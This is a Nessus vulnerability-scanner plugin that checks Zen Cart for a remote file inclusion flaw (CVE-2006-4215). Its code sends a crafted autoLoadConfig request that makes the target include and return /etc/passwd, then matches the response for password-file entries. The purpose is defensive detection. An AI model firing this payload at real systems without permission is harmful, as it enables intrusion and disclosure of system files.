Zen Cart autoload_func.php autoLoadConfig Array Remote File Inclusion

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(22234);
  script_version("1.23");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2006-4215");
  script_bugtraq_id(19543);

  script_name(english:"Zen Cart autoload_func.php autoLoadConfig Array Remote File Inclusion");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
remote file include issue.");
  script_set_attribute(attribute:"description", value:
"The version of Zen Cart installed on the remote host fails to sanitize
input to the 'autoLoadConfig' array parameter before using it in
'includes/autoload_func.php' to include PHP code.  Provided PHP's
'register_globals' setting is enabled, an unauthenticated attacker may
be able to exploit these flaws to view arbitrary files on the remote
host or to execute arbitrary PHP code, possibly taken from third-party
hosts.");
  script_set_attribute(attribute:"see_also", value:"http://www.gulftech.org/?node=research&article_id=00109-08152006");
  script_set_attribute(attribute:"see_also", value:"https://www.zen-cart.com/showthread.php?43579-Security-Patches-for-v1-3-0x");
  script_set_attribute(attribute:"solution", value:
"Apply the security patches listed in the vendor advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"vuln_publication_date", value:"2006/08/15");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/08/17");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:zen-cart:zen_cart");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("zencart_detect.nasl");
  script_require_keys("www/zencart");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0);
if (!can_host_php(port:port)) exit(0, "The web server on port "+port+" does not support PHP");

# Test an install.
install = get_kb_item(string("www/", port, "/zencart"));
if (isnull(install)) exit(0, "Zencart was not detected on port "+port);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches))
{
  dir = matches[2];

  # Try to exploit the flaw to read a file.
  file = "/etc/passwd";
  u = string(
      dir, "/index.php?",
      "autoLoadConfig[999][0][autoType]=include&",
      "autoLoadConfig[999][0][loadFile]=", file
    );
  r = http_send_recv3(method: "GET", port:port, item: u);
  if (isnull(r)) exit(0);
  res = r[2];
  # There's a problem if...
  if (
    # there's an entry for root or...
    egrep(pattern:"root:.*:0:[01]:", string:res) ||
    # we get an error claiming the file doesn't exist or...
    egrep(pattern:"main\(/etc/passwd\).*: failed to open stream: No such file or directory", string:res) ||
    # we get an error about open_basedir restriction.
    egrep(pattern:"main.+ open_basedir restriction in effect. File\(/etc/passwd", string:res)
  )
  {
    if (egrep(string:res, pattern:"root:.*:0:[01]:"))
      contents = res - strstr(res, "<!DOCTYPE");

    if (contents && report_verbosity)
    {
      contents = data_protection::redact_etc_passwd(output:contents);
      report = string(
        "\n",
        "Here are the contents of the file '/etc/passwd' that Nessus\n",
        "was able to read from the remote host :\n",
        "\n",
        contents
      );
      security_warning(port:port, extra:report);
    }
    else security_warning(port);
  }
}